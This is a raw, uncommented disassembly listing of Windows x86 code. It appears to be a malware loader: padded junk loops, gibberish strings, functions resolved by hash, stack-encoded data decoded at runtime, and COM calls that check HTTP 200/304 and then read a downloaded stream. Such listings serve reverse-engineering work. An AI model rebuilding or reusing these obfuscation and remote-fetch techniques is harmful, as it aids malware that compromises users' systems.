mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub edx, eax
mov eax, dword [ebp - 0x58]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x220]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x158], eax
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x15
jle 0x10022941
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0xf46
lea eax, [ebp - 0x5c]
push eax
push 1
lea eax, [ebp - 0x58]
push eax
push ecx
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x1f4]
push eax
push ecx
lea edx, [ebp - 0x288]
mov ecx, 0xcf2
call fcn.100213b6
add esp, 0x28
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x288]
call fcn.1000c4ce
push ebx
push 0x2c73
push 0x46c3
call fcn.10039874
pop ecx
pop ecx
call eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x28], 0x2f34111d
mov dword [ebp - 0x18], ebx
jmp 0x10022b74
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x10], ebx
jmp 0x10022ab6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x210], 2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10022aa5
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jne 0x10022aca
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x210], ebx
je 0x10022ae1
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x210]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], ebx
jmp 0x10022b63
mov dword [ebp - 0x1c], 0x710
cmp dword [ebp - 0x1c], 0x814
jle 0x10022b26
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075b78
or eax, esi
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x4145
jl 0x10022b03
inc esi
cmp esi, 0x5d36
jl 0x10022b01
push 1
push 0x1c45
push ebx
push 0x38b
mov byte [ebp - 0x4d], bl
lea ecx, [ebp - 0x4d]
push 0x154d
xor dl, dl
call fcn.100457ed
add esp, 0x14
cmp dword [ebp - 0x1c], 0x4da
jge 0x10022b60
mov edx, str.bksqiwrav_kxlhavpig_lwdfn_ase_lkjqor_negdp_bobgn
mov ecx, 0x10075b78
call fcn.1000e4aa
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffb
jl 0x10022aef
cmp dword [ebp - 0x20c], ebx
jne 0x10022b7e
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff2
je 0x10022a99
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x10022b93
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push ecx
push 0x5b07
push 0x5d26
mov edx, 0x3318
mov cl, 1
call fcn.10045523
mov dword [ebp - 0x20], 0x5350
add esp, 0x10
cmp dword [ebp - 0x20], 0x55b1
jle 0x10022bfe
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x1c], 0x744b
mov ebx, edi
mov esi, 0x78f4
mov eax, ebx
mov ecx, 0x10075b78
cdq
push edx
push eax
call fcn.1000c233
dec ebx
dec esi
jne 0x10022bd2
mov esi, dword [ebp - 0x2c]
add edi, esi
dec dword [ebp - 0x1c]
jne 0x10022bcb
inc esi
mov dword [ebp - 0x2c], esi
push 0
pop ebx
cmp esi, 0x54eb
jl 0x10022bc2
lea eax, [ebp - 0x308]
push eax
push ecx
push ecx
xor cl, cl
call fcn.10021496
add esp, 0xc
cmp dword [ebp - 0x20], 0x5260
jge 0x10022c29
mov edx, str.cmle_tsm_tpwjbnsi_ghqnv_xiceqyakj_mgonn_fpl_dud_cxkymiqtf_lnfg_mmrhth
mov ecx, 0x10075b78
call fcn.1000e4aa
push 0x38
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x148], 0x7b1b6407
mov dword [ebp - 0x144], 0x90f7b24
mov dword [ebp - 0x140], 0x914011a
mov dword [ebp - 0x13c], 0x9030815
mov dword [ebp - 0x138], 0xb2465b03
mov dword [ebp - 0x134], 0x71230c17
mov dword [ebp - 0x130], 0x6b1e6809
mov dword [ebp - 0x12c], 0x70050716
mov dword [ebp - 0x128], 0x7004020b
mov dword [ebp - 0x124], 0x44257a22
mov dword [ebp - 0x120], 0x1d134d1c
mov byte [ebp - 0x11c], 0x18
mov byte [ebp - 0x11b], bl
mov dword [ebp - 0x11a], 0xd0c1420
mov word [ebp - 0x116], 0x419
mov byte [ebp - 0x114], bl
mov dword [ebp - 0x113], 0x64c1f4b
mov dword [ebp - 0x10f], 0x2741107
mov byte [ebp - 0x10b], bl
mov byte [ebp - 0x10a], 8
mov byte [ebp - 0x109], bl
mov dword [ebp - 0x108], 0x50a7510
mov dword [ebp - 0x104], 0x7c0d7101
mov dword [ebp - 0x100], 0x1b0e0f21
mov dword [ebp - 0xfc], 0x612191d
mov word [ebp - 0x4f2], ax
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 0x10
jne 0x10022da2
mov dword [ebp - 0x150], 4
mov dword [ebp - 0x1c], 0x6446
cmp dword [ebp - 0x1c], 0x6534
jle 0x10022d8a
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x4b0]
or eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10022d63
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4b0]
call fcn.1000c80a
inc esi
cmp esi, 0x32d8
jl 0x10022d47
inc edi
cmp edi, 0x2ba6
jl 0x10022d45
cmp dword [ebp - 0x1c], 0x631b
push 0x12
pop esi
jge 0x10022de9
push str.adjtt_awovqhqto_cicpaa_lqrcr_ccm_gxsymraxf_wmhp_gjbi_rfobf_acbfyhmh_oqx_asqcof_ahomoter
call fcn.10048abc
jmp 0x10022de8
movzx edx, byte [ebp + esi - 0x147]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x14a]
movzx ecx, word [ebp + eax*2 - 0x500]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x148]
add ecx, edx
mov dl, 1
push ecx
mov word [ebp + eax*2 - 0x500], cx
lea eax, [ebp - 0x150]
push eax
call fcn.100214c2
pop ecx
pop ecx
add esi, 2
cmp esi, 0x50
jae 0x10022dfc
mov ecx, dword [ebp - 0x150]
jmp 0x10022d24
xor eax, eax
mov dword [ebp - 0x25c], 7
mov word [ebp - 0x4b4], ax
lea ecx, [ebp - 0x270]
mov word [ebp - 0x270], ax
lea eax, [ebp - 0x500]
push eax
mov dword [ebp - 0x260], ebx
call fcn.1000c8f6
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x1c], 0x7820
cmp dword [ebp - 0x1c], 0x7b56
jle 0x10022e8f
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov edi, ebx
mov ecx, esi
mov ebx, eax
sar ebx, cl
mov eax, ebx
mov ecx, 0x10075b78
xor eax, edi
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x3047
jl 0x10022e51
mov eax, dword [ebp - 0x24]
inc esi
push 0
pop ebx
cmp esi, 0x7308
jl 0x10022e49
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0xb3b
jl 0x10022e47
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0x13
xor eax, eax
lea edi, [ebp - 0x500]
cmp dword [ebp - 0x1c], 0x77c1
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
jge 0x10022eb6
mov edx, str.ltt_qma_vggh_mvgqkeyf_cidyhgo_ipmfjaaki_vdmog_unlx_wpdkwq_jwlkhjs_itqtfhf_gdloj
mov ecx, 0x10075b78
call fcn.1000e4aa
mov dword [ebp - 0x2c], 0x11c
cmp dword [ebp - 0x2c], 0x3fc
jle 0x10022f1f
mov ecx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x1c], 0x694f
mov ebx, dword [ebp - 0x24]
mov eax, ebx
or eax, ecx
mov ecx, 0x10075b78
or eax, edi
cdq
push edx
push eax
call fcn.1000c233
mov ecx, dword [ebp - 0x10]
add edi, esi
dec dword [ebp - 0x1c]
jne 0x10022edc
inc esi
push 0
pop ebx
cmp esi, 0x79fb
jl 0x10022ed0
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x244b
jl 0x10022ece
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 0x2a61
jl 0x10022ecb
mov dword [ebp - 0x18], 0x68de
mov dword [ebp - 0x14], 0x1516
mov dword [ebp - 0x10], ebx
jmp 0x10022f40
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x74], 0xffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10022f32
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x74], 0x90350d8a
jae 0x10022f58
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
imul ecx, dword [ebp - 0x70]
test ecx, ecx
setns al
cmp eax, 1
mov eax, dword [ebp - 0x70]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x74]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x70]
jle 0x10022fa3
cmp dword [ebp - 0x18], ebx
jne 0x10022fa3
mov ecx, ebx
jmp 0x10022fa6
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
imul eax, ecx
test eax, eax
je 0x10022fdc
mov dword [ebp - 0x18], ebx
jmp 0x10022fd1
mov dword [ebp - 0x14], ebx
jmp 0x10022fc8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], 0xfff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10022fba
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x10022fb5
jmp 0x10023096
mov dword [ebp - 0x1c], 0x6e40
cmp dword [ebp - 0x1c], 0x7141
jle 0x10023033
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x420]
and eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002300c
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x420]
call fcn.1000c80a
inc esi
cmp esi, 0x34d1
jl 0x10022ff0
inc edi
cmp edi, 0x2577
jl 0x10022fee
mov dword [ebp - 0x14], 0xffffffef
jmp 0x10023053
push 1
mov byte [ebp - 0x45], bl
lea edx, [ebp - 0x45]
push 0x1562
call fcn.10021641
inc dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 0x1b
jl 0x1002303c
cmp dword [ebp - 0x1c], 0x6ad5
jge 0x1002306d
push str.exukvvc_bshrd_peexdwkky
call fcn.10048abc
pop ecx
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], ebx
jl 0x10023096
push 1
push 0x8c
push 1
mov dl, 1
mov ecx, 0x1c4f
call fcn.100450c3
add esp, 0xc
dec dword [ebp - 0x14]
jns 0x10023079
cmp dword [ebp - 0x2c], 0x91
jge 0x100230ae
mov edx, str.kto_hem_qdtcyhtxh_jgs_wwjltcpj_wpfb_cqobqbaf_vreamg
mov ecx, 0x10075b78
call fcn.1000e4aa
mov dword [ebp - 0x18], 0x8ec0ae97
mov dword [ebp - 0x18], ebx
jmp 0x10023169
push 4
lea ecx, [ebp - 0x2f4]
call fcn.1000c44b
lea eax, [ebp - 0x190]
mov byte [ebp - 4], 0xd
push eax
push ecx
mov dword [ebp - 0x28], 0xc6e5c7a0
lea edx, [ebp - 0x2f4]
push 1
call fcn.10045189
add esp, 0xc
mov byte [ebp - 0x42], bl
lea edx, [ebp - 0x42]
push 1
push 0x1fbe
call fcn.100217a7
pop ecx
pop ecx
push 3
mov dword [ebp - 0x28], ebx
pop ecx
jmp 0x10023152
mov dword [ebp - 0x10], ebx
jmp 0x1002311f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x21c], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002310e
mov dword [ebp - 0x21c], ecx
cmp dword [ebp - 0x21c], ebx
jl 0x1002314f
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x10023144
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
dec dword [ebp - 0x21c]
jns 0x10023132
push 3
pop ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10023109
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 0xc
call fcn.1000c4ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xe
je 0x100230bd
push 0x39
pop eax
mov dword [ebp - 0xf8], 0x14187420
mov dword [ebp - 0xf4], 0x6e0e6e1b
mov dword [ebp - 0xf0], 0x710c6b06
mov dword [ebp - 0xec], 0x720f740b
mov dword [ebp - 0xe8], 0x9040119
mov dword [ebp - 0xe4], 0x191d1413
mov word [ebp - 0xe0], 0xd1f
mov byte [ebp - 0xde], 0xa
mov byte [ebp - 0xdd], bl
mov dword [ebp - 0xdc], 0x72110f08
mov byte [ebp - 0xd8], bl
mov dword [ebp - 0xd7], 0x1e3e173f
mov dword [ebp - 0xd3], 0x25700203
mov dword [ebp - 0xcf], 0x124d1c4b
mov dword [ebp - 0xcb], 0x14020703
mov dword [ebp - 0xc7], 0x16060373
mov dword [ebp - 0xc3], 0xd702376
mov dword [ebp - 0xbf], 0x5032171
mov byte [ebp - 0xbb], bl
mov dword [ebp - 0xba], 0x73107222
mov dword [ebp - 0xb6], 0x1e090215
mov dword [ebp - 0xb2], 0x41a1924
mov word [ebp - 0xae], 0x7601
mov word [ebp - 0x510], ax
mov dword [ebp - 0x10], 0x57fb
cmp dword [ebp - 0x10], 0x58d3
jle 0x100232ee
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
cdq
mov esi, ebx
idiv edi
mov ecx, edx
mov dword [ebp - 0x2c], ecx
mov edi, ebx
mov dword [ebp - 0x1c], 0x20e9
mov eax, edi
and eax, ecx
lea ecx, [ebp - 0x438]
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100232a9
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x438]
call fcn.1000c80a
mov ecx, dword [ebp - 0x2c]
add edi, esi
dec dword [ebp - 0x1c]
jne 0x1002328d
inc esi
cmp esi, 0x2fe3
jl 0x10023284
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x6b83
jl 0x1002327a
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x4f22
jl 0x10023275
push 2
pop esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], 0xaf7
cmp dword [ebp - 0x1c], 0xb6c
jle 0x1002332e
mov edi, ebx
mov ebx, edi
mov esi, 0x71f8
mov eax, ebx
mov ecx, 0x10075b78
cdq
push edx
push eax
call fcn.1000c233
dec ebx
dec esi
jne 0x1002330d
inc edi
cmp edi, 0x26eb
jl 0x10023306
mov esi, dword [ebp - 0x2c]
xor ebx, ebx
movzx eax, byte [ebp + esi - 0xfa]
movzx ecx, byte [ebp + esi - 0xf7]
movzx eax, word [ebp + eax*2 - 0x550]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
cmp dword [ebp - 0x1c], 0xa41
movzx eax, byte [ebp + esi - 0xf8]
mov word [ebp + eax*2 - 0x550], dx
jge 0x10023376
mov edx, str.khhnrnbfe_jgkuppeq_rxhi_kvbe_hdddk_wpcg
mov ecx, 0x10075b78
call fcn.1000e4aa
add esi, 2
mov dword [ebp - 0x2c], esi
cmp esi, 0x4c
jb 0x100232f4
cmp dword [ebp - 0x10], 0x55de
jge 0x10023399
push str.huwyshb_jpfols_kjb_rhnbduys_qxopmhev_owejk_vkkstpnh
call fcn.10048abc
pop ecx
xor eax, eax
mov dword [ebp - 0x244], 7
mov word [ebp - 0x504], ax
lea ecx, [ebp - 0x258]
mov word [ebp - 0x258], ax
lea eax, [ebp - 0x550]
push eax
mov dword [ebp - 0x248], ebx
call fcn.1000c8f6
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x25c], 8
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x380]
mov esi, 0x3ce5
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x270]
cmovae eax, dword [ebp - 0x270]
mov edi, 0x2c73
push eax
push edi
push esi
call fcn.10039874
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100239ec
cmp dword [ebp - 0x244], 8
lea ecx, [ebp - 0x390]
push ecx
lea eax, [ebp - 0x258]
cmovae eax, dword [ebp - 0x258]
push eax
push edi
push esi
call fcn.10039874
pop ecx
pop ecx
call eax
test eax, eax
jne 0x100239ec
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x380]
push eax
push 3
push ebx
lea eax, [ebp - 0x390]
push eax
push edi
push 0x3307
call fcn.10039874
pop ecx
pop ecx
call eax
test eax, eax
js 0x100239ec
cmp dword [ebp - 0x3c], 0
je 0x100239ec
lea eax, [ebp - 0x350]
mov edx, 0x14c
push ebx
push eax
call fcn.10021641
pop ecx
pop ecx
xor eax, eax
mov byte [ebp - 0x64], bl
push 0x47
mov word [ebp - 0x348], ax
pop eax
push 2
mov dword [ebp - 0x63], 0x222011f
mov byte [ebp - 0x5f], 0x11
mov word [ebp - 0x170], ax
pop esi
movzx eax, byte [ebp + esi - 0x66]
movzx ecx, byte [ebp + esi - 0x63]
movzx edx, word [ebp + eax*2 - 0x170]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x64]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x170], dx
cmp esi, 6
jb 0x100234b4
xor eax, eax
mov dword [ebp - 0x1a0], 7
mov word [ebp - 0x16a], ax
lea ecx, [ebp - 0x1b4]
mov word [ebp - 0x1b4], ax
lea eax, [ebp - 0x170]
push eax
mov dword [ebp - 0x1a4], ebx
call fcn.1000c8f6
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1b4]
cmp dword [ebp - 0x1a0], 8
mov eax, dword [ebp - 0x1a4]
cmovae ecx, dword [ebp - 0x1b4]
push dword [ebp - 0x190]
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f0], ebx
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1ec], ebx
cmovae ecx, dword [ebp - 0x1b4]
push eax
push ecx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1e8], ebx
call fcn.10024218
lea eax, [ebp - 0x1f0]
mov byte [ebp - 4], 0x10
push 1
push eax
call fcn.10045a4a
mov dword [ebp - 0x20], 0x6cd2
cmp dword [ebp - 0x20], 0x6ce0
pop ecx
pop ecx
jle 0x10023610
mov eax, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x40eb
mov esi, dword [ebp - 0x24]
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x450]
and eax, edi
cdq
push edx
push eax
call fcn.100019c5
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100235cd
mov eax, dword [eax]
push eax
call fcn.10048abc
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x450]
call fcn.1000c80a
inc edi
cmp edi, 0x602
jl 0x100235b1
mov esi, dword [ebp - 0x2c]
add dword [ebp - 0x24], esi
dec dword [ebp - 0x1c]
jne 0x100235ac
mov eax, dword [ebp - 0x10]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x4e0f
jl 0x100235a2
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x3adf
jl 0x1002359f
mov edx, dword [ebp - 0x168]
cmp dword [edx + 0x14], 8
jb 0x10023620
mov ecx, dword [edx]
jmp 0x10023622
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x10023630
mov edx, dword [edx]
push dword [ebp - 0x190]
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], ebx
push eax
push edx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
call fcn.10024218
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x20], 0x6b7c
jge 0x1002366d
push str.oyxgpsw_pjbkxas_bbayhnnv_cnmq_teucpot_rlge_ymw_ynnpbx_olw_wygdskw_momje_ttdk
call fcn.10048abc
pop ecx
push ebx
push 0x6825
push 1
lea eax, [ebp - 0x1c0]
mov dl, 1
push eax
push 0xee5
mov ecx, 0x46fa
call fcn.100457ed
cmp dword [ebp - 0x1a0], 8
lea edx, [ebp - 0x1b4]
lea esi, [ebp - 0x308]
mov eax, dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x1b4]
add esp, 4
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x308]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x350]
push dword [ebp - 0x1c0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002391c
mov esi, dword [ebp - 0x17c]
mov cl, 1
mov dword [ebp - 0x14c], ebx
cmp esi, dword [ebp - 0x178]
je 0x10023746
add esi, 0x18
test cl, cl
je 0x1002372e
cmp dword [esi + 0x14], 8
jb 0x1002370d
mov edi, dword [esi]
jmp 0x1002370f
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002371a
mov edx, dword [esi - 0x18]
jmp 0x1002371d
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x3c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10023730
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x178]
jne 0x100236ff
test cl, cl
je 0x1002391c
mov eax, dword [ebp - 0x3c]
lea esi, [ebp - 0x308]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002391c
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x14c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002391c
cmp dword [ebp - 0x14c], 0x130
je 0x1002379a
cmp dword [ebp - 0x14c], 0xc8
jne 0x1002391c
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x370]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002391c
mov esi, dword [ebp - 0x368]
mov dword [ebp - 0x180], esi
test esi, esi
je 0x1002391c
mov eax, dword [esi]
lea ecx, [ebp - 0x598]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x100238a2
mov eax, dword [ebp - 0x590]
lea edx, [ebp - 0x78]
push ecx
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x19c]
push ebx
push eax
push ecx
mov ecx, 0x3a7e
call fcn.10045bdc
mov edx, dword [ebp - 0x78]
mov eax, ebx
mov edi, dword [ebp - 0x19c]
add esp, 0x10
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x154], eax
mov ecx, dword [esi]
lea ebx, [ebp - 0x164]
push ebx
push edx
add eax, edi
push eax
push esi
call dword [ecx + 0xc]
push 0
pop ebx
test eax, eax
js 0x10023881
push 0x72ab
push ecx
push ecx
lea eax, [ebp - 0x164]
mov edx, 0x1a81
push ebx
push eax
lea ecx, [ebp - 0x154]
call fcn.100214db
add esp, 0x10
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x184]
push eax
push 1
call fcn.10045e90
mov eax, dword [ebp - 0x154]
add esp, 0xc
cmp eax, dword [ebp - 0x78]
jae 0x10023881
mov edx, dword [ebp - 0x184]
jmp 0x1002381d
push ecx
lea eax, [ebp - 0x19c]
mov edx, 0x51a
push eax
lea eax, [ebp - 0x78]
push eax
push ecx
push ebx
lea ecx, [ebp - 0x154]
call fcn.10045f49
add esp, 0x14
push ecx
push 1
push 0x3b63
push ecx
mov edx, 0x6a9a
lea ecx, [ebp - 0x180]
call fcn.10045bdc
mov dword [ebp - 0x1c], 0x509
add esp, 0x10
cmp dword [ebp - 0x1c], 0x688
jle 0x100238fe
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10075b78
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x3dd3
jl 0x100238d2
inc esi
cmp esi, 0x4710
jl 0x100238d0
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetScrollInfo]
cmp dword [ebp - 0x1c], 0x45d
jge 0x10023916
mov edx, str.rqoiio_mqhp_pay_wgntd_xyweuosvb_vfs_tpvsvjrng
mov ecx, 0x10075b78
call fcn.1000e4aa
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x2c], 0x65e6
cmp dword [ebp - 0x2c], 0x695e
jle 0x10023992
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
cdq
mov edi, ebx
idiv esi
mov eax, edx
mov dword [ebp - 0x34], eax
mov esi, eax
mov dword [ebp - 0x168], ebx
mov ecx, edi
sar esi, cl
mov eax, ebx
mov ecx, 0x10075b78
xor eax, esi
cdq
push edx
push eax
call fcn.1000c233
inc ebx
cmp ebx, 0x699c
jl 0x1002394c
mov eax, dword [ebp - 0x34]
inc edi
push 0
pop ebx
cmp edi, 0x2150
jl 0x10023940
mov esi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x987
jl 0x10023936
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x4fba
jl 0x10023931
lea eax, [ebp - 0x3c]
mov cl, 1
push 0x686e
push eax
call fcn.100454fd
cmp dword [ebp - 0x2c], 0x63f9
pop ecx
pop ecx
jge 0x100239bc
mov edx, str.bidt_rfefqc_cvqx_trwuj_kvugp_xopps_jiao_whliocjfh_lcn_kmspofptw_vsjx_xohusjvt_koym_esgrrkpr
mov ecx, 0x10075b78
call fcn.1000e4aa
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x3c], ebx
call fcn.1001fd4b
lea ecx, [ebp - 0x1f0]
call fcn.1001fd4b
push ebx
push 1
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 4], 0xe
call fcn.1000ca18
mov edi, 0x2c73
push edi
push 0x399b
call fcn.10039874
pop ecx
pop ecx
call eax
mov dword [ebp - 0x18], 0x68de
mov dword [ebp - 0x14], 0x1516
mov dword [ebp - 0x1c], 0x57fb
cmp dword [ebp - 0x1c], 0x5bb1
jle 0x10023a40
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075b78
and eax, esi
cdq
push edx
push eax
call fcn.1000c233
inc edi
cmp edi, 0x56d8
jl 0x10023a1d
inc esi
cmp esi, 0x2188
jl 0x10023a1b
mov dword [ebp - 0x10], ebx
jmp 0x10023a53
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x6c], 0xffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10023a45
